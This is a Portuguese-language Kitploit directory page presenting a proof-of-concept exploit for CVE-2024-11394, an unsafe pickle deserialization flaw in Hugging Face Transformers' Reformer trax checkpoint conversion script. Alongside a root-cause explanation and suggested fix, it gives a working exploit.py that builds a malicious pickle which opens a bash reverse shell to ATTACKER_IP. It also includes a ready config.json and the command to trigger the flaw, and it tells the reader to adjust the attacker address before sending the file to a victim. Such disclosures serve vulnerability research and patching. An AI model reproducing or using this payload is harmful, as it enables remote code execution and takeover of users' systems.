Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-11394 — Detalhes Técnicos e Exploit para CVE-2024-11394 | Kitploit
Ferramentas/GitHubGitHub/piyush-bhor/cve-2024-11394
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoSegurança de IA
GitHubpiyush-bhor/cve-2024-11394

CVE-2024-11394

Detalhes Técnicos e Exploit para CVE-2024-11394

Ver Repositório
1há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-11394

Vulnerabilidade de Execução Remota de Código por Desserialização de Dados Não Confiáveis no Modelo Trax do Hugging Face Transformers

Visão geral de alto nível e efeitos da vulnerabilidade:
A vulnerabilidade permite que um atacante execute código arbitrário na máquina hospedeira ao fornecer um ficheiro de checkpoint reformer trax malicioso para o script convert_reformer_trax_checkpoint_to_pytorch.py no repositório Hugging Face Transformers.
Se um utilizador desavisado usar um ficheiro de checkpoint reformer trax de terceiros, executar o script convert_reformer_trax_checkpoint_to_pytorch.py levará à execução remota de código (RCE) no sistema da vítima.

O Produto Vulnerável

  • Produto: Hugging Face Transformers
  • Módulo: Reformer
Baixar ferramenta
  • Ficheiro: transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • Versão: Última
  • Permalink GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • Análise da Causa Raiz

    • Descrição detalhada da vulnerabilidade: A vulnerabilidade resulta da desserialização insegura de dados não confiáveis. O script usa pickle.load para carregar o ficheiro de checkpoint e é vulnerável a execução de código.
    • Fluxo de código desde a entrada até à condição vulnerável:
    1. O utilizador descarrega um modelo reformer trax de terceiros.
    2. O utilizador executa o script convert_reformer_trax_checkpoint_to_pytorch.py e passa-lhe o ficheiro de checkpoint.
    3. O script convert_reformer_trax_checkpoint_to_pytorch.py desserializa o ficheiro de checkpoint e executa o código malicioso.
    • Ponto de injeção: A vulnerabilidade ocorre no ponto onde pickle.load é chamado.
      Permalink GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

    • Correções sugeridas: Substituir pickle.load por yaml.safe_load(yaml_file) ou json.load para evitar a execução de código arbitrário.

    • Instruções para executar a prova de conceito:

    1. Execute exploit.py para criar um ficheiro pickle malicioso malicious.pkl que criará uma shell reversa no sistema da vítima:
    root@kitploit:~
    # exploit.py
    
    import pickle  
    import os   
      
    class Exploit:  
        def __reduce__(self):  
            return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
      
    malicious_data = pickle.dumps(Exploit())  
    with open('malicious.pkl', 'wb') as f:  
        f.write(malicious_data)  
      
    print("Ficheiro pickle malicioso criado com sucesso.")
    

    Nota: Altere o ATTACKER_IP e o ATTACKER_PORT antes de enviar o ficheiro para a vítima.

    1. Crie um ficheiro de configuração config.json:
    root@kitploit:~
    {  
        "attention_head_size": 64,  
        "attention_probs_dropout_prob": 0.1,  
        "attn_layers": [  
          "local",  
          "lsh",  
          "local",  
          "lsh",  
          "local",  
          "lsh"  
        ],  
        "axial_norm_std": 1.0,  
        "axial_pos_embds": true,  
        "axial_pos_embds_dim": [  
          64,  
          960  
        ],  
        "axial_pos_shape": [  
          64,  
          64  
        ],  
        "chunk_size_lm_head": 0,  
        "classifier_dropout": null,  
        "eos_token_id": 2,  
        "feed_forward_size": 512,  
        "hash_seed": null,  
        "hidden_act": "relu",  
        "hidden_dropout_prob": 0.1,  
        "hidden_size": 1024,  
        "initializer_range": 0.02,  
        "is_decoder": true,  
        "layer_norm_eps": 1e-12,  
        "local_attention_probs_dropout_prob": 0.05,  
        "local_attn_chunk_length": 64,  
        "local_num_chunks_after": 0,  
        "local_num_chunks_before": 1,  
        "lsh_attention_probs_dropout_prob": 0.0,  
        "lsh_attn_chunk_length": 64,  
        "lsh_num_chunks_after": 0,  
        "lsh_num_chunks_before": 1,  
        "max_position_embeddings": 4096,  
        "model_type": "reformer",  
        "num_attention_heads": 16,  
        "num_buckets": null,  
        "num_hashes": 1,  
        "num_hidden_layers": 6,  
        "pad_token_id": 0,  
        "tie_word_embeddings": false,  
        "transformers_version": "4.42.4",  
        "type_vocab_size": 2,  
        "use_cache": true,  
        "vocab_size": 30522  
      }
    
    1. Execute o script convert_reformer_trax_checkpoint_to_pytorch.py e passe o ficheiro malicious.pkl para --trax_model_pkl_path:
    root@kitploit:~
    > python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .
    

    Nota: O pytorch_dump_folder_path pode ser definido como qualquer diretório.

    Link para Download do Software:
    https://github.com/huggingface/transformers/tree/main